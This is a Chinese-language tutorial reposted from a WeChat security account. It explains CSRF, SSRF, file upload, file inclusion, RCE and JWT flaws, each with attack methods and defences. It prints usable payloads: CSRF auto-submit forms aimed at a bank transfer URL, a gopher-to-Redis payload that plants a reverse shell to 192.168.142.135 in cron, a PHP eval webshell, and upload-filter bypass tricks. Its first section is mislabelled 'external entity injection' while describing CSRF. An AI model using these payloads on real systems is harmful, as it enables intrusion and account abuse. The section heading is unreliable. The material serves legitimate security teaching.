TOP10 漏洞详解

admin 2024年7月7日00:46:36评论7 views字数 5453阅读18分10秒阅读模式

外部实体注入

1.1发生方式

第三方网站利用当前网站生效的cookie,从而请求服务器的接口去进行攻击(如转账、修改用户信息等敏感接口)

1.2典型案例

GMali--->设置邮件转发(2007年)微博--->自动关注账号

1.3漏洞危害

1、修改账户信息2、利用管理员账号,上传木马文件3、传播蠕虫病毒(点击、扩散、点击...)4、和其他攻击手段配配合攻击(XSS、SQL注入)

1.4攻击方式

1、通过图片的img src属性,自动加载,发起get请求<imgsrc="http://superbank.com/bank/transfer.php?nameid=2002&amount1000"width="0"height="0">2、构成一个超链接,用户点击以后,发起GET请求<a href="http://superbank.com/transfer.php?amount=10008to=jiangang"taget=" blank">小姐姐在线视频聊天!!<a/>3、构建一个隐藏表单,用户访问,自动提交,发起POST请求<form action="http://superbank.com/withdraw" method=POST> <input type="hidden" name="account"value="xiaoming"/> <input type="hidden"name="amount" value="1000"/> <input type="hidden" name="to" value="jiangang" /></form><script> document.forms[0].submit(); </script>

1.5检测思路

1、使用BP的CSRF POC功能2、工具CSRF Tester(半自动)3、https://github.com/s0md3v/Bolt(全自动)4、各种云产品,扫描检测(给钱就行)

1.6防御措施

1、使用Referer进行一个简单效验(但是Referer可以被修改)2、使用token验证(不是100%安全)<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user token'[0].value)>3、敏感接口调用的二次验证:验证码、短信、扫码、人脸识别等4、不好奇、不乱点(使用者角度)

SSRF 服务端请求伪造

2.1发生方式

是一种由攻击者构造形成由服务端发起的请求的一个安全漏洞(只要是一个网页或者服务器的代码加载了其他地址的内容就可能会出现ssrf漏洞)

2.2典型案例

1、社会化分享功能2、转码服务(电脑网页转手机网页)3、在线翻译(整个网站的翻译)4、在线网站的图片加载和下载功能5、图片、文章的收藏功能6、网站采集、网站抓取的功能

2.3漏洞危害

1、扫描资产2、获取敏感信息3、攻击内网服务器(绕过防火墙)4、访问大文件,造成溢出5、通过Redis写入WebShell或者建立反弹连接

2.4攻击方式

1、PHP常见的引发SSRF漏洞的函数:curl_exec():执行curl会话file_get_contents():将整个文件读入一个 字符串fsockopen():打开一个网络连接或者一个Unix套接字2、CURL其他协议file协议:curl -v 'file:///etc/passeword' 查看文件dict:http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306 探测端口gopher:curl -v'gopher://127.0.0.1:6379/ *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 **** bash -i>&/dev/tcp/192.168.142.135/44440>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'  反弹shell

2.5检测思路

1、爬取地址,然后查看是否请求了其他资源2、使用Google语法 inurl 搜索关键字:share、wpa、url、link、src、source、target、u3g、display、soruceURL、imageURL、domain3、github上搜SSRF-Testing(工具)

2.6防御措施

1、禁用协议2、限制请求端口3、设置URL白名单4、过滤返回信息5、统一错误提示

文件上传

3.1发生方式

用户上传了一个可执行的脚本文件,通过这个脚本文件获得执行服务器端命令的能力(这个脚本叫做webshell或者后门、木马,各种编程语言都存在)

3.2典型案例

发生前提:1、网站上传功能正常使用2、文件类型允许上传3、上传路径可以确认4、文件可以被访问,可以被执行或者被包含

3.3漏洞危害

直接后果:执行任意操作系统命令

利用方式:1、挂黑链2、挖矿3、敏感文件泄露


3.4攻击方式

1、一句话木马<?php@eval($_post['string']);?>string = system(ipconfig);(传值)2、更多可见:github.com/tennc/webshell3、常见的网站控制工具:中国菜刀中国蚁剑weevely哥斯拉冰蝎(动态的二进制加密网站管理客户端)4、利用流程找到上传位置绕过效验,上传文件获得文件的位置蚂剑链接,管理文件5、如果绕过效验删除/禁用JS、修改MIME、等价扩展名、大小写htaccess、双写、空格、点、::$DATA、%00截断、0x00截断、图片马、条件竞争等等.


3.5检测思路

1、通过菜单的地方一个一个去点,找上传点2、如果能拿到源码,可搜索关键字:upload等3、利用Redis  KV  持久化+未授权访问的漏洞4、通过MySql读写 select into file…5、利用百度网盘等工具传播shell(包含木马的CMS系统)6、自动化工具:https://github.com/almandin/fuxploider


3.6防御措施

1、对文件的扩展名进行效验,可以做黑白名单2、MIME类型效验(image/gif)3、文件内容头效验(GIF89a)4、对文件内容进行二次渲染5、对上传文件重命名,不易猜测6、不要暴露上传文件的位置7、禁止上传文件的执行权限

文件包含

4.1发生方式

一个代码文件需要去包含另一个代码文件而导致的漏洞(分为:内容包含、函数包含)

4.2典型案例

利用流程:发现漏洞上传shell/读取敏感文件(FUZZ)执行恶意代码

4.3漏洞危害

1、导致任意文件被访问2、上传包含shell代码文件


4.4攻击方式

1、本地文件包含(LFI):Local File Inclusion固定文件名通过接口动态包含包含恶意代码,或者图片马:获得shell包含系统的敏感文件2、远程文件包含(RFL):Remote File Inlusion前提:必须开启否则不存在php.iniallow_url_fopen=onallow_url_include]=on3、可能造成文件漏洞的函数(php):include():包含并运行指定文件include_once()只包含一次,不重复require():和include一样不过出错时会停止require_once():和include_once() 一样fopen():打开文件或者URLreadfile:读取文件并写入到输出缓冲highlight_file:语法高亮一个文件show_source:同上file_get_contents:将整个文件读入字符串file:把文件读入一个数组中PHP伪协议:https://www.php.net/manual/zh/wrappers.php


4.5检测思路

1、URL关键字:page、file、filename、include、xxx.php、xxx.html2、使用了某些函数(见上)3、自动化工具:github.com/D35m0nd142/LFISuite


4.6防御措施

1、PHP配置2、禁用动态包含3、过滤协议、目录字符4、设置文件白名单

RCE 远程代码执行

5.1发生方式

为了内部执行方便,开发了某些执行命令或者代码的接口,被黑客发现进行恶意攻击。远程代码一旦发生,便是高危,是黑客的最爱。

5.2典型案例

CVE-2021-3177Python RCE漏洞CVE-2021-21972VMWare RCE漏洞CVE-2021-25646Apache Druid RCE漏洞

5.3漏洞危害

1、获取服务器权限2、获取敏感数据文件3、写入恶意文件getshell4、植入木马病毒勒软件等


5.4攻击方式

1、命令注入相关函数system():执行外部程序并现实输出exec()/shell_exec():通过shell环境执行命令,兵将完整的输出以字符串的方式返回 pcntl_exec():在当前进程空间执行指定程序passthru()执行程序并显示原始输出popen():打开进程文件指针proc_open():执行一个命令,并且用来打开输入输出的文件指针2、代码注入相关函数eval():把字符串code作为PHP代码执行assert():检查断言是否为falsepreg_replaca():执行一个正则的搜索和替换create_function():创建一个匿名函数返回函数名称call_user_func()/call_user_func_array():把第一个参数作为回调函数用usort()/uasort():使用用户自定义的比较函数对数组中的值进行排序并保持索引关联3、windows命令拼接符号&&:左边执行成功,右边才执行&:简单拼接|:上条命令的输出作为下条命令的参数||:左边执行失败,右边菜执行


5.5检测思路

1.检测相关函数


5.6防御措施

1、开源框架升级到最新版本2、尽量不要使用命令执行函数3、如果需使用,需要做白名单4、用正则对用户输入的内容进行处理5、使用WAF

JWT 身份验证漏洞

6.1发生方式

利用缺乏机密性能轻松解码有效载荷(payload)和报头(headers),用户插入另一个操作(例如删除)并绕过授权

6.2典型案例

(CVE-2015-2951) alg=none签名绕过漏洞(CVE-2016-10555) RS/HS256公钥不匹配漏洞(CVE-2018-0114)密钥注入漏洞(CVE-2019-20933/CVE-2020-28637)空白密码漏洞(CVE-2020-28042)空签名漏洞

6.3漏洞危害

盗用用户身份:在没有足够保护的情况下,攻击者可以盗用加密后的 JWT 并解密其中的信息,从而获取海量敏感数据,比如用户名、密码、银行卡号等,进而伪造用户身份。

篡改信息:JWT 是无状态的,如果未对其进行防篡改处理,攻击者可以更改 JWT 中的数据,比如将用户权限提升或篡改签名,从而获得更高的访问权限。

CSRF 攻击:如果在 JWT 中存储了敏感数据,比如用户凭证等,那么在用户首次登录时,浏览器会自动存储 JWT,在后续访问中再带上该令牌。攻击者可以通过 CSRF(跨站请求伪造)攻击,伪造一个跨站请求提交表单,让用户的浏览器携带其 JWT 访问第三方网站,从而导致 JWT 被窃取,从而产生安全风险。


6.4攻击方式

1、具体实现方式:算法为none算法修改签名失败问题暴力破解密钥泄露令牌刷新2、攻击思路首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将该请求包重放测试:1)未授权访问:删除Token后仍然可以正常响应对应页面2)敏感信息泄露: 通过JWt.io解密出Payload后查看其中是否包含敏感信息如弱加密的密码等3)破解密钥+越权访问:通过WTio解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料


6.5检测思路

1、利用工具jwt tool (git clone https://github.com/ticarpi/jwt tool)可以用来验证、伪造和破解JWT令牌。jwt-cracker该工具仅限于单一的签名算法(HS256),如果提供了不同的签名算法,则无法进行操作https://github.com/lmammino/iwt-crackerc-jwt-cracker同样是暴力破解JWT 私钥的工具https://qithub.com/brendan-rius/c-jwt-cracker


6.6防御措施

加强签名算法、使用HTTPS传输数据、禁止存储敏感信息等,同时还需要定期检查和更新JWT的实现,防止存在新的安全漏洞。

原文始发于微信公众号(零漏安全):TOP10 漏洞详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月7日00:46:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TOP10 漏洞详解http://cn-sec.com/archives/2926841.html

发表评论

匿名网友 填写信息